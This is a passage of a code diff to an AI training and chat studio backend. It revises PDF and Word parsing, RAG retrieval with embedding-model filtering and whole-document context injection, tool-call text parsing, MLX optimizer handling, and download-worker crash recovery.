def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
import fitz # PyMuPDF
@ -74,8 +132,21 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
images: list[ParsedImage] = []
doc = fitz.open(path)
try:
md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None
for i, page in enumerate(doc):
text = page.get_text("text") or ""
plain = page.get_text("text") or ""
candidate = md[i] if md else ""
# Prefer layout-aware Markdown (keeps tables/headings legible for retrieval),
# but drop to PyMuPDF's logical-order text when Markdown is off/empty or when
# pymupdf4llm mangled it (RTL/Indic) or dropped most of the page.
if (
candidate
and not _markdown_corrupted(candidate)
and not _markdown_incomplete(candidate, plain)
):
text = candidate
else:
text = plain
pages.append(_page(text, i + 1))
if want_images:
for img in page.get_images(full = True):
@ -118,74 +189,224 @@ def _merge_rects(boxes: list) -> list:
return merged
def render_pdf_figures(
path: str,
def _figure_boxes(
page,
*,
dpi: int = 130,
min_area_frac: float = 0.04,
min_side: float = 40.0,
max_figures: int = 8,
) -> list[ParsedImage]:
"""Detect figure regions and render each to a PNG for captioning.
) -> list:
"""Qualifying figure-region rectangles on a page: cluster vector drawings + raster
placements, merge overlaps, keep the page-spanning ones (area/side filtered)."""
boxes: list = []
try:
boxes.extend(info["bbox"] for info in page.get_image_info())
except Exception:
pass
try:
boxes.extend(page.cluster_drawings())
except Exception:
pass
if not boxes:
return []
page_area = page.rect.width * page.rect.height
keep: list = []
for box in _merge_rects(boxes):
if (
box.get_area() >= min_area_frac * page_area
and box.width >= min_side
and box.height >= min_side
):
keep.append(box)
return keep
Academic figures are vector, so raster extraction yields fragments; instead
cluster vector drawings + raster placements into boxes, keep the page-spanning
ones, and render them. Any failure yields [], never an exception.
"""
def pages_with_figures(
path: str,
*,
max_pages: int = 4,
min_area_frac: float = 0.04,
min_side: float = 40.0,
exclude_pages: set[int] | None = None,
) -> list[int]:
"""1-based page numbers with a qualifying figure region, capped at ``max_pages``;
drives figure tiling. ``exclude_pages`` (1-based) are skipped: those are the pages
OCR already transcribed whole, so tiling them would duplicate the vision work. Any
failure yields []."""
exclude = exclude_pages or set()
try:
import pymupdf
except Exception:
return []
out: list[ParsedImage] = []
try:
doc = pymupdf.open(path)
except Exception:
return []
pages: list[int] = []
try:
for i, page in enumerate(doc):
boxes: list = []
try:
boxes.extend(info["bbox"] for info in page.get_image_info())
except Exception:
pass
try:
boxes.extend(page.cluster_drawings())
except Exception:
pass
if not boxes:
if (i + 1) in exclude:
continue
page_area = page.rect.width * page.rect.height
for box in _merge_rects(boxes):
if (
box.get_area() >= min_area_frac * page_area
and box.width >= min_side
and box.height >= min_side
):
try:
pix = page.get_pixmap(dpi = dpi, clip = box)
out.append(
ParsedImage(
image_bytes = pix.tobytes("png"),
page_number = i + 1,
xref = 0,
)
if _figure_boxes(page, min_area_frac = min_area_frac, min_side = min_side):
pages.append(i + 1)
if len(pages) >= max_pages:
break
return pages
finally:
doc.close()
def render_pdf_figure_tiles(
path: str,
page_numbers,
*,
dpi: int = 200,
rows: int = 2,
cols: int = 2,
overlap: float = 0.12,
fullpage: bool = True,
max_tiles: int = 24,
) -> list[ParsedImage]:
"""Render figure-bearing pages as overlapping high-DPI tiles (plus an optional full
page), each a ``ParsedImage`` keyed by page number. Tiling keeps small labels legible
and covers every sub-figure without exact region detection. Any failure yields []."""
wanted = [int(n) for n in page_numbers]
if not wanted:
return []
rows, cols = max(1, int(rows)), max(1, int(cols)) # never divide by zero
try:
import pymupdf
except Exception:
return []
try:
doc = pymupdf.open(path)
except Exception:
return []
out: list[ParsedImage] = []
try:
for num in wanted:
if num < 1 or num > doc.page_count:
continue
page = doc[num - 1]
rect = page.rect
clips: list = [rect] if fullpage else []
cw, ch = rect.width / cols, rect.height / rows
ox, oy = cw * overlap, ch * overlap
for r in range(rows):
for c in range(cols):
clips.append(
pymupdf.Rect(
rect.x0 + c * cw - ox,
rect.y0 + r * ch - oy,
rect.x0 + (c + 1) * cw + ox,
rect.y0 + (r + 1) * ch + oy,
)
except Exception:
continue
if len(out) >= max_figures:
return out
& rect
)
for clip in clips:
try:
pix = page.get_pixmap(dpi = dpi, clip = clip)
out.append(ParsedImage(image_bytes = pix.tobytes("png"), page_number = num, xref = 0))
except Exception:
continue
if len(out) >= max_tiles:
return out
return out
finally:
doc.close()
def render_pdf_pages(
path: str,
page_numbers,
*,
dpi: int = 150,
) -> dict[int, bytes]:
"""Render whole PDF pages (given as 1-based numbers) to PNG bytes, keyed by
page number. Backs scanned-page OCR. Any failure yields ``{}`` (or skips that
page), never an exception.
"""
wanted = {int(n) for n in page_numbers}
if not wanted:
return {}
try:
import pymupdf
except Exception:
return {}
try:
doc = pymupdf.open(path)
except Exception:
return {}
out: dict[int, bytes] = {}
try:
for i, page in enumerate(doc):
num = i + 1
if num not in wanted:
continue
try:
pix = page.get_pixmap(dpi = dpi)
out[num] = pix.tobytes("png")
except Exception:
continue
return out
finally:
doc.close()
def _docx_table_rows(table) -> list[str]:
"""Each row as pipe-joined cell text (the locator splits anchors on pipes).
Columns stay aligned to the layout grid (merged cells fill their spanned slots,
skipped leading/trailing grid columns become empty fields). Cells are walked in
document order so a nested table, and any text after it, flattens in place."""
from docx.table import Table
from docx.text.paragraph import Paragraph
rows: list[str] = []
seen: set = set() # <w:tc> already emitted; dedups merges spanning columns or rows
for row in table.rows:
cells: list[str] = [""] * getattr(row, "grid_cols_before", 0)
trailing: list[str] = [] # nested rows + any post-nested text, kept in order
for cell in row.cells:
# A merged cell shares one <w:tc> across the columns and rows it spans:
# emit its text once, then placeholders, so columns and rows stay aligned.
if cell._tc in seen:
cells.append("")
continue
seen.add(cell._tc)
# Paragraph text before the first nested table is the aligned field; the
# nested table and anything after it flatten below the row, in order.
field: list[str] = []
after_table = False
for item in cell.iter_inner_content():
if isinstance(item, Table):
after_table = True
trailing.extend(_docx_table_rows(item))
elif isinstance(item, Paragraph):
text = " ".join(item.text.split()) # collapse in-cell newlines
if text:
(trailing if after_table else field).append(text)
cells.append(" ".join(field)) # empty cells kept so columns line up
cells.extend([""] * getattr(row, "grid_cols_after", 0))
if any(c.strip() for c in cells):
rows.append(" | ".join(cells))
rows.extend(trailing)
return rows
def _docx(path: str) -> list[Page]:
import docx
from docx.table import Table
from docx.text.paragraph import Paragraph
document = docx.Document(path)
text = "\n".join(p.text for p in document.paragraphs)
return [_page(text, None)]
lines: list[str] = []
# Walk body content in document order: paragraphs alone drop tables entirely.
for block in document.iter_inner_content():
if isinstance(block, Paragraph):
if block.text.strip():
lines.append(block.text)
elif isinstance(block, Table):
lines.extend(_docx_table_rows(block))
return [_page("\n".join(lines), None)]
def parse(path: str, *, want_images: bool = False):

8
studio/backend/core/rag/retrieval.py
View file

@ -39,8 +39,12 @@ def retrieve_dense(
model_name: str | None = None,
) -> list[Hit]:
k = k or config.TOP_K_DENSE
vec = embeddings.encode([query], model_name = model_name, normalize = True)[0]
return [Hit(cid, s, dense_score = s) for cid, s in store.search_dense(conn, scope, vec, k)]
effective = model_name or config.effective_embedding_model()
vec = embeddings.encode([query], model_name = effective, normalize = True)[0]
return [
Hit(cid, s, dense_score = s)
for cid, s in store.search_dense(conn, scope, vec, k, embedding_model = effective)
]
def _rrf(rankings: list[list[Hit]], rrf_k: int, top_k: int) -> list[Hit]:

77
studio/backend/core/rag/store.py
View file

@ -109,11 +109,12 @@ def create_document(
status: str = "pending",
stored_path: str | None = None,
document_id: str | None = None,
embedding_model: str | None = None,
) -> str:
document_id = document_id or str(uuid.uuid4())
conn.execute(
"INSERT INTO documents(id, scope, kb_id, thread_id, project_id, filename, sha256, "
"status, stored_path, created_at) VALUES(?,?,?,?,?,?,?,?,?,?)",
"status, stored_path, created_at, embedding_model) VALUES(?,?,?,?,?,?,?,?,?,?,?)",
(
document_id,
scope,
@ -125,6 +126,7 @@ def create_document(
status,
stored_path,
_now(),
embedding_model,
),
)
conn.commit()
@ -261,20 +263,50 @@ def search_lexical(conn: sqlite3.Connection, scope, query: str, k: int):
return [(r["chunk_id"], -r["s"]) for r in rows]
def search_dense(conn: sqlite3.Connection, scope, vector, k: int):
def search_dense(
conn: sqlite3.Connection,
scope,
vector,
k: int,
*,
embedding_model: str | None = None,
):
"""Cosine KNN over vec0 for one scope or several. Returns
[(chunk_id, 1 - distance)]. vec0 KNN constrains its partition key by
equality, so multi-scope runs one query per scope and merges by score."""
equality, so multi-scope runs one query per scope and merges by score.
``embedding_model`` drops hits from documents indexed under a different
(same-width) model, whose vectors live in another space; NULL-model legacy
documents are assumed current, matching the ingestion dedupe rule."""
if not rag_db.vec_table_exists(conn):
return []
dim = rag_db.vec_table_dim(conn)
if dim is not None and dim != len(vector):
# Embedding model switched widths and nothing re-indexed yet; the stale
# table cannot answer new-model queries (vec0 errors on the MATCH).
return []
# Over-fetch when filtering so stale-model hits don't starve the top-k.
fetch = k * 3 if embedding_model else k
out: list[tuple[str, float]] = []
for s in _scopes(scope):
rows = conn.execute(
"SELECT chunk_id, distance FROM chunks_vec "
"WHERE scope=? AND embedding MATCH ? ORDER BY distance LIMIT ?",
(s, _f32(vector), k),
(s, _f32(vector), fetch),
).fetchall()
out.extend((r["chunk_id"], 1.0 - r["distance"]) for r in rows)
if embedding_model and out:
ids = [cid for cid, _ in out]
placeholders = ",".join("?" * len(ids))
valid = {
r["id"]
for r in conn.execute(
f"SELECT c.id FROM chunks c JOIN documents d ON d.id=c.document_id "
f"WHERE c.id IN ({placeholders}) "
f"AND (d.embedding_model IS NULL OR d.embedding_model=?)",
(*ids, embedding_model),
).fetchall()
}
out = [t for t in out if t[0] in valid]
out.sort(key = lambda t: t[1], reverse = True)
return out[:k]
@ -292,3 +324,40 @@ def chunks_by_id(conn: sqlite3.Connection, ids) -> dict:
list(ids),
).fetchall()
return {r["id"]: r for r in rows}
def all_chunks_for_scope(conn: sqlite3.Connection, scope) -> list[dict]:
"""Every completed-document chunk for a scope, ordered document-then-index and
joined with the document filename. Backs whole-document context injection, so
it does no retrieval or embedding."""
scopes = _scopes(scope)
if not scopes:
return []
placeholders = ",".join("?" * len(scopes))
rows = conn.execute(
f"SELECT c.id, c.text, c.document_id, c.chunk_index, c.page_number, "
f"c.token_count, d.filename, d.created_at "
f"FROM chunks c JOIN documents d ON d.id=c.document_id "
f"WHERE c.scope IN ({placeholders}) AND d.status='completed' "
f"ORDER BY d.created_at, c.document_id, c.chunk_index",
list(scopes),
).fetchall()
return [dict(r) for r in rows]
def scope_token_estimate(conn: sqlite3.Connection, scope) -> int:
"""Upper-bound token total for a scope's completed chunks without hydrating text.
Mirrors ``all_chunks_for_scope`` + the ``tool._row_token_count`` fallback (stored
count, else length/4), so the whole-doc budget can be checked before loading text."""
scopes = _scopes(scope)
if not scopes:
return 0
placeholders = ",".join("?" * len(scopes))
row = conn.execute(
f"SELECT COALESCE(SUM(CASE WHEN c.token_count > 0 THEN c.token_count "
f"ELSE MAX(1, length(COALESCE(c.text, '')) / 4) END), 0) AS total "
f"FROM chunks c JOIN documents d ON d.id=c.document_id "
f"WHERE c.scope IN ({placeholders}) AND d.status='completed'",
list(scopes),
).fetchone()
return int(row["total"] or 0)

81
studio/backend/core/rag/tool.py
View file

@ -16,7 +16,13 @@ from xml.sax.saxutils import quoteattr
from storage import rag_db
from . import config, retrieval
from .store import kb_scope, project_scope, thread_scope
from .store import (
all_chunks_for_scope,
kb_scope,
project_scope,
scope_token_estimate,
thread_scope,
)
SEARCH_KNOWLEDGE_BASE_TOOL = {
"type": "function",
@ -90,6 +96,30 @@ def _format(rows, hits) -> tuple[str, list[dict]]:
return "\n\n".join(blocks), sources
def render_sources(sources: list[dict]) -> str:
"""Render a citation-source list to sequentially-numbered ``<chunk>`` blocks,
rewriting each source's ``citationId`` to match its 1-based position. Lets
independently-built source lists (a whole-document thread attachment plus
retrieved project passages) be merged under one citation numbering."""
blocks: list[str] = []
for i, s in enumerate(sources, 1):
s["citationId"] = i
src = quoteattr(s.get("filename") or "unknown")
page = s.get("page")
page_attr = f" page={quoteattr(str(page))}" if page else ""
blocks.append(f'<chunk id="{i}" source={src}{page_attr}>\n{s.get("text") or ""}\n</chunk>')
return "\n\n".join(blocks)
def _row_token_count(row) -> int:
"""Chunk token count for budgeting, falling back to a length estimate when the
stored count is missing or zero, so a malformed chunk cannot bypass the budget."""
tc = row["token_count"]
if tc:
return int(tc)
return max(1, len(row["text"] or "") // 4)
def search_knowledge_base_with_sources(
*,
query: str,
@ -186,6 +216,55 @@ def search_for_autoinject(
return (text, sources) if sources else None
def whole_document_context(
*, scope_thread_id: str | None = None, max_tokens: int
) -> tuple[str, list[dict]] | None:
"""Render EVERY chunk of the THREAD's attached documents (in order) as the same
``<chunk>`` blocks + citation source-map as retrieval, so the model reads the whole
file rather than top-K passages. Thread-attached files only: KB and project corpora
are search corpora, never whole-document, so this resolves the thread scope alone.
``None`` (caller falls back to retrieval) when there is no thread scope, no completed
chunks, or the total exceeds ``max_tokens``."""
if not scope_thread_id:
return None
# A non-positive budget means "never inject" (disable whole-doc via
# RAG_THREAD_WHOLE_DOC=0), not "inject the whole corpus unbounded".
if max_tokens <= 0:
return None
scope = thread_scope(scope_thread_id)
conn = rag_db.get_connection()
try:
# Cheap budget pre-check (SUM, no text hydration): reject an oversized attachment
# before loading the whole corpus; all_chunks_for_scope runs only once it fits.
if scope_token_estimate(conn, scope) > max_tokens:
return None
rows = all_chunks_for_scope(conn, scope)
finally:
conn.close()
if not rows:
return None
total = sum(_row_token_count(r) for r in rows)
if total > max_tokens:
return None
sources: list[dict] = [
{
"citationId": i,
"chunkId": r["id"],
"documentId": r["document_id"],
"filename": r["filename"] or "unknown",
"page": r["page_number"],
"text": r["text"] or "",
"score": None,
}
for i, r in enumerate(rows, 1)
]
rendered = render_sources(sources)
if max(1, len(rendered) // 4) > max_tokens:
return None
return rendered, sources
def search_knowledge_base(
*,
query: str,

186
studio/backend/core/tool_healing.py
View file

@ -301,28 +301,28 @@ def parse_tool_calls_from_text(
*,
id_offset: int = 0,
allow_incomplete: bool = True,
) -> list[dict]:
with_spans: bool = False,
):
"""Parse OpenAI-format tool calls from model text.
Handles formats like:
<tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>
<|tool_call>call:web_search{query:"..."}<tool_call|>
<tool_call><function=web_search><parameter=query>...</parameter></function></tool_call>
With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]``
is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup
in ``content`` (including its close tag when present), so a caller can
remove exactly the parsed markup and keep every other byte intact.
"""
tool_calls: list[dict] = []
# Collect JSON- and Gemma-format candidates with their byte spans, then
# accept them in document order. Both order and spans matter:
# * tools execute in returned order, so a call appearing earlier in the
# text must be emitted first even across the two formats;
# * a tool-call marker INSIDE another call's argument string is data, not a
# call, so a candidate starting within an already accepted span is
# skipped (covers a JSON marker nested in a Gemma arg and a Gemma marker
# nested in a JSON arg alike, regardless of which format is outer).
call_spans: list[tuple] = []
# Collect every supported call format with spans, then emit in document
# order. A marker inside another call's argument string is data, not a
# separate executable call.
parsed_items = [] # (start, span_end, name, arguments)
candidates = [] # (start, brace_end, kind, match)
for m in _TC_JSON_START_RE.finditer(content):
# A marker that begins inside an open <function=...><parameter=...> value
# is that parameter's data, not its own call; skip it (same guard the
# XML-style parser below applies to nested <function= markers).
if _inside_open_parameter(content, m.start()):
continue
end = _balanced_brace_end(content, m.end() - 1)
@ -336,14 +336,9 @@ def parse_tool_calls_from_text(
candidates.append((m.start(), end, "gemma", m))
candidates.sort(key = lambda c: c[0])
spans = [(s, e) for s, e, _kind, _m in candidates]
candidate_spans = [(s, e) for s, e, _kind, _m in candidates]
for idx, (start, end, kind, m) in enumerate(candidates):
# Skip a candidate nested inside another candidate's brace span: it is
# the enclosing call's argument data, not its own call. Checked against
# every candidate span (not only the ones that parsed successfully), so a
# marker inside an outer call that later fails to normalize is still
# never promoted to its own executable tool call.
if any(s <= start and end <= e for j, (s, e) in enumerate(spans) if j != idx):
if any(s <= start and end <= e for j, (s, e) in enumerate(candidate_spans) if j != idx):
continue
if not allow_incomplete:
tail = content[end + 1 :].lstrip()
@ -362,6 +357,85 @@ def parse_tool_calls_from_text(
arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : end]))
except (json.JSONDecodeError, ValueError):
continue
span_end = end + 1
close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
ws = len(content[span_end:]) - len(content[span_end:].lstrip())
close_m = close_re.match(content, span_end + ws)
if close_m:
span_end = close_m.end()
parsed_items.append((start, span_end, name, arguments))
func_starts = [
fm
for fm in _TC_FUNC_START_RE.finditer(content)
if not _inside_open_parameter(content, fm.start())
and not any(s <= fm.start() <= e for s, e in candidate_spans)
]
for idx, fm in enumerate(func_starts):
func_name = fm.group(1)
body_start = fm.end()
next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
end_tag = _TC_END_TAG_RE.search(content[body_start:])
if end_tag:
body_end = body_start + end_tag.start()
else:
body_end = len(content)
body_end = min(body_end, next_func)
body = content[body_start:body_end]
close_idx = body.rfind(_FUNC_CLOSE_TAG)
if close_idx >= 0:
span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
body = body[:close_idx]
elif not allow_incomplete:
continue
else:
body = _TC_FUNC_CLOSE_RE.sub("", body)
span_end = body_end
arguments: dict = {}
param_starts = list(_TC_PARAM_START_RE.finditer(body))
if len(param_starts) == 1:
pm = param_starts[0]
val = body[pm.end() :]
if not allow_incomplete:
stripped_val = val.rstrip()
if not stripped_val.endswith(_PARAM_CLOSE_TAG):
continue
val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
else:
val = _TC_PARAM_CLOSE_RE.sub("", val)
arguments[pm.group(1)] = val.strip()
else:
valid_params = True
for pidx, pm in enumerate(param_starts):
param_name = pm.group(1)
val_start = pm.end()
next_param = (
param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body)
)
val = body[val_start:next_param]
if not allow_incomplete:
stripped_val = val.rstrip()
if not stripped_val.endswith(_PARAM_CLOSE_TAG):
valid_params = False
break
val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
else:
val = _TC_PARAM_CLOSE_RE.sub("", val)
arguments[param_name] = val.strip()
if not valid_params:
continue
span_start = fm.start()
wrap_open = re.search(r"<tool_call>\s*$", content[:span_start])
wrap_close = re.match(r"\s*</tool_call>", content[span_end:])
if wrap_open and wrap_close:
span_start = wrap_open.start()
span_end += wrap_close.end()
parsed_items.append((span_start, span_end, func_name, json.dumps(arguments)))
parsed_items.sort(key = lambda item: item[0])
for start, span_end, name, arguments in parsed_items:
tool_calls.append(
{
"id": f"call_{id_offset + len(tool_calls)}",
@ -369,77 +443,9 @@ def parse_tool_calls_from_text(
"function": {"name": name, "arguments": arguments},
}
)
if not tool_calls:
func_starts = [
fm
for fm in _TC_FUNC_START_RE.finditer(content)
if not _inside_open_parameter(content, fm.start())
]
for idx, fm in enumerate(func_starts):
func_name = fm.group(1)
body_start = fm.end()
next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
end_tag = _TC_END_TAG_RE.search(content[body_start:])
if end_tag:
body_end = body_start + end_tag.start()
else:
body_end = len(content)
body_end = min(body_end, next_func)
body = content[body_start:body_end]
if not allow_incomplete:
close_idx = body.rfind(_FUNC_CLOSE_TAG)
if close_idx < 0:
continue
body = body[:close_idx]
else:
body = _TC_FUNC_CLOSE_RE.sub("", body)
arguments: dict = {}
param_starts = list(_TC_PARAM_START_RE.finditer(body))
if len(param_starts) == 1:
pm = param_starts[0]
val = body[pm.end() :]
if not allow_incomplete:
stripped_val = val.rstrip()
if not stripped_val.endswith(_PARAM_CLOSE_TAG):
continue
val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
else:
val = _TC_PARAM_CLOSE_RE.sub("", val)
arguments[pm.group(1)] = val.strip()
else:
valid_params = True
for pidx, pm in enumerate(param_starts):
param_name = pm.group(1)
val_start = pm.end()
next_param = (
param_starts[pidx + 1].start()
if pidx + 1 < len(param_starts)
else len(body)
)
val = body[val_start:next_param]
if not allow_incomplete:
stripped_val = val.rstrip()
if not stripped_val.endswith(_PARAM_CLOSE_TAG):
valid_params = False
break
val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
else:
val = _TC_PARAM_CLOSE_RE.sub("", val)
arguments[param_name] = val.strip()
if not valid_params:
continue
tc = {
"id": f"call_{id_offset + len(tool_calls)}",
"type": "function",
"function": {
"name": func_name,
"arguments": json.dumps(arguments),
},
}
tool_calls.append(tc)
call_spans.append((start, span_end))
if with_spans:
return tool_calls, call_spans
return tool_calls

4
studio/backend/core/training/trainer.py
View file

@ -3672,7 +3672,7 @@ class UnslothTrainer:
return
try:
with open(config_path, "r") as f:
with open(config_path, "r", encoding = "utf-8") as f:
config = json.load(f)
# Determine training method
@ -3686,7 +3686,7 @@ class UnslothTrainer:
config["unsloth_training_method"] = method
logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'")
with open(config_path, "w") as f:
with open(config_path, "w", encoding = "utf-8") as f:
json.dump(config, f, indent = 2)
except Exception as e:

1
studio/backend/core/training/training.py
View file

@ -299,6 +299,7 @@ class TrainingBackend:
# Build config dict for the subprocess
config = {
"model_name": kwargs["model_name"],
"project_name": kwargs.get("project_name"),
"training_type": kwargs.get("training_type", "LoRA/QLoRA"),
"hf_token": kwargs.get("hf_token", ""),
"load_in_4bit": kwargs.get("load_in_4bit", True),

76
studio/backend/core/training/worker.py
View file

@ -44,6 +44,7 @@ if sys.platform.startswith("linux") and "HSA_ENABLE_DXG_DETECTION" not in os.env
logger = get_logger(__name__)
from utils.hardware import apply_gpu_ids
from utils.training_runs import build_default_output_dir_name
from utils.wheel_utils import (
direct_wheel_url,
flash_attn_wheel_url,
@ -1252,32 +1253,48 @@ def _adapt_for_mlx_vlm(
return adapted
_MLX_STUDIO_OPTIM_MAP = {
"adamw_8bit": "adamw",
"paged_adamw_8bit": "adamw",
"adamw_bnb_8bit": "adamw",
"paged_adamw_32bit": "adamw",
"adamw_torch": "adamw",
"adamw_torch_fused": "adamw",
"adamw": "adamw",
"adafactor": "adafactor",
"sgd": "sgd",
"adam": "adam",
"muon": "muon",
"lion": "lion",
}
_MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"}
# Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used
# only when mlx (Apple Silicon) is not importable so Studio config validation
# still works on non-MLX hosts. The zoo function stays the source of truth.
_MLX_STUDIO_ADAMW_ALIASES = frozenset(
(
"adamw_8bit",
"paged_adamw_8bit",
"adamw_bnb_8bit",
"paged_adamw_32bit",
"adamw_torch",
"adamw_torch_fused",
"paged_adamw",
"adamw_32bit",
"adamw_hf",
"adamw_anyprecision",
"adamw_apex_fused",
)
)
_MLX_STUDIO_NATIVE_OPTIMIZERS = ("adafactor", "adamw", "adam", "sgd", "muon", "lion")
def _normalize_mlx_studio_optimizer(value):
raw = str(value or "adamw_8bit").strip().lower()
try:
return _MLX_STUDIO_OPTIM_MAP[raw]
except KeyError:
supported = ", ".join(sorted(_MLX_STUDIO_OPTIM_MAP))
raise ValueError(
f"Unsupported optimizer for MLX training: {value!r}. " f"Supported values: {supported}."
)
from unsloth_zoo.mlx.trainer import _normalize_mlx_optimizer_name
return _normalize_mlx_optimizer_name(value or "adamw_8bit")
except (ImportError, ValueError):
# Missing mlx, or an older unsloth-zoo whose normalizer lacks CUDA/TRL
# aliases: map common adamw_* names locally so notebook defaults work.
opt = str(getattr(value, "value", value) or "adamw_8bit").strip().lower()
opt = opt.rsplit(".", 1)[-1].replace("-", "_")
if opt in _MLX_STUDIO_ADAMW_ALIASES:
opt = "adamw"
if opt not in _MLX_STUDIO_NATIVE_OPTIMIZERS:
supported = ", ".join(_MLX_STUDIO_NATIVE_OPTIMIZERS)
raise ValueError(
f"Unsupported optimizer for MLX training: {value!r}. "
f"Supported optimizers: {supported}."
)
return opt
def _normalize_mlx_studio_scheduler(value):
@ -1787,11 +1804,14 @@ def _run_mlx_training(event_queue, stop_queue, config):
# ── 5. Build output dir ──
# Resolve to ~/.unsloth/studio/outputs/ so the export page finds it
from utils.paths import resolve_output_dir, ensure_dir, default_run_dir_name
from utils.paths import resolve_output_dir, ensure_dir
output_dir = config.get("output_dir", "")
if not output_dir:
output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
output_dir = build_default_output_dir_name(
model_name,
config.get("project_name"),
)
output_dir = str(resolve_output_dir(output_dir))
ensure_dir(Path(output_dir))
@ -3019,7 +3039,10 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
resume_from_checkpoint
)
if not output_dir:
output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
output_dir = build_default_output_dir_name(
model_name,
config.get("project_name"),
)
output_dir = str(resolve_output_dir(output_dir))
ensure_dir(Path(output_dir))
@ -3500,7 +3523,10 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) ->
resume_from_checkpoint
)
if not output_dir:
output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
output_dir = build_default_output_dir_name(
model_name,
config.get("project_name"),
)
output_dir = str(resolve_output_dir(output_dir))
num_epochs = config.get("num_epochs", 2)

3
studio/backend/hub/schemas/inventory.py
View file

@ -27,6 +27,9 @@ class GgufVariantDetail(BaseModel):
downloaded: bool = Field(
False, description = "Whether this variant is already in the local HF cache"
)
update_available: bool = Field(
False, description = "Whether a newer main GGUF blob is available on Hugging Face"
)
partial: bool = Field(
False,
description = "Whether this variant has an in-progress (.incomplete) blob in cache",

61
studio/backend/hub/services/download_lifecycle.py
View file

@ -314,25 +314,50 @@ def register_worker(
worker_token = hf_token
def _watch() -> None:
finalize_worker_exit(
registry,
key,
proc,
hf_token = worker_token,
label = label,
log_prefix = log_prefix,
logger = logger,
repo_type = repo_type,
repo_id = repo_id,
transport = transport,
)
if registry.get_job(key).state in ("error", "cancelled"):
download_registry.purge_empty_marker_dir(
repo_type,
repo_id,
download_registry.variant_from_key(key),
try:
finalize_worker_exit(
registry,
key,
proc,
hf_token = worker_token,
label = label,
log_prefix = log_prefix,
logger = logger,
repo_type = repo_type,
repo_id = repo_id,
transport = transport,
)
hf_cache_scan.invalidate_hf_cache_scans()
except Exception:
# finalize_worker_exit is the only thing that clears running/cancelling;
# if it raises, force a terminal state so claim() isn't blocked until restart.
logger.exception("download watcher crashed for %s", key)
# finalize may have raised before reaping the worker; terminate the
# still-registered Popen first, else the terminal set_job clears the
# repo guard and a live worker would race a retry on the same repo.
try:
kill_and_reap_process(proc, label = label, logger = logger)
except Exception:
logger.exception("failed to reap worker after watcher crash for %s", key)
try:
registry.drop_process(key, proc)
except Exception:
logger.exception("failed to drop worker after watcher crash for %s", key)
try:
registry.set_job(key, "error", "download watcher crashed")
except Exception:
logger.exception("failed to mark %s errored after watcher crash", key)
finally:
try:
if registry.get_job(key).state in ("error", "cancelled"):
download_registry.purge_empty_marker_dir(
repo_type,
repo_id,
download_registry.variant_from_key(key),
)
except Exception:
logger.exception("post-finalize marker cleanup failed for %s", key)
finally:
hf_cache_scan.invalidate_hf_cache_scans()
threading.Thread(target = _watch, name = watch_name, daemon = True).start()
return True

54
studio/backend/hub/services/models/cache_inventory.py
View file

@ -39,8 +39,10 @@ from hub.services.models.common import (
logger = get_logger(__name__)
_repo_size_cache: "OrderedDict[tuple[str, str], tuple[int, frozenset[str], float]]" = OrderedDict()
_repo_size_neg_cache: "OrderedDict[tuple[str, str], float]" = OrderedDict()
_repo_size_cache: "OrderedDict[tuple[str, str, str], tuple[int, frozenset[str], float]]" = (
OrderedDict()
)
_repo_size_neg_cache: "OrderedDict[tuple[str, str, str], float]" = OrderedDict()
_REPO_SIZE_CACHE_MAX = 256
_REPO_SIZE_POS_TTL = 60.0
_REPO_SIZE_NEG_TTL = 60.0
@ -52,7 +54,7 @@ def get_repo_snapshot_metadata_cached(
repo_id: str, hf_token: Optional[str] = None
) -> tuple[int, frozenset[str]]:
token_fp = hf_cache_scan.token_fingerprint(hf_token)
cache_key = (repo_id, token_fp)
cache_key = (repo_id, token_fp, "snapshot")
with _repo_size_cache_lock:
cached = _repo_size_cache.get(cache_key)
if cached is not None:
@ -119,6 +121,52 @@ def _repo_has_gguf_files(repo_info) -> bool:
return _repo_gguf_size_bytes(repo_info) > 0
def _cached_repo_file_name(file_obj) -> str:
file_path = getattr(file_obj, "file_path", None)
if file_path:
try:
path = Path(file_path)
parts = path.parts
snapshots_idx = max(i for i, part in enumerate(parts) if part == "snapshots")
if len(parts) > snapshots_idx + 2:
return Path(*parts[snapshots_idx + 2 :]).as_posix()
except Exception:
pass
return str(getattr(file_obj, "file_name", "")).replace("\\", "/")
def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[str, set[str]]:
"""Map each cached GGUF file's repo-relative name to the SET of its local
blob hashes across all cached revisions.
HF names each local cache blob FILE by the file's etag (lfs.sha256 else
blob_id), so a local file's blob hash == ``Path(blob_path).name``. An updated
repo keeps BOTH the old and new revision snapshots until HF garbage-collects
them, so the same file resolves to several blobs; collecting them ALL (not
just the first one seen, since ``repo_info.revisions`` is a frozenset and
yields them in arbitrary order) lets the remote-vs-local diff treat the file
as current when the remote (``main``) blob is present in any cached revision.
Mirrors the ``cached_blob_ids`` membership test in routes/models.py.
By default this keeps the historical MAIN-GGUF-only behavior. GGUF update
checks opt into companions so a shared mmproj/MTP blob can be compared too.
"""
blob_map: dict[str, set[str]] = {}
for revision in repo_info.revisions:
for f in revision.files:
if include_companions:
if not _is_gguf_filename(f.file_name):
continue
elif not _is_main_gguf_filename(f.file_name):
continue
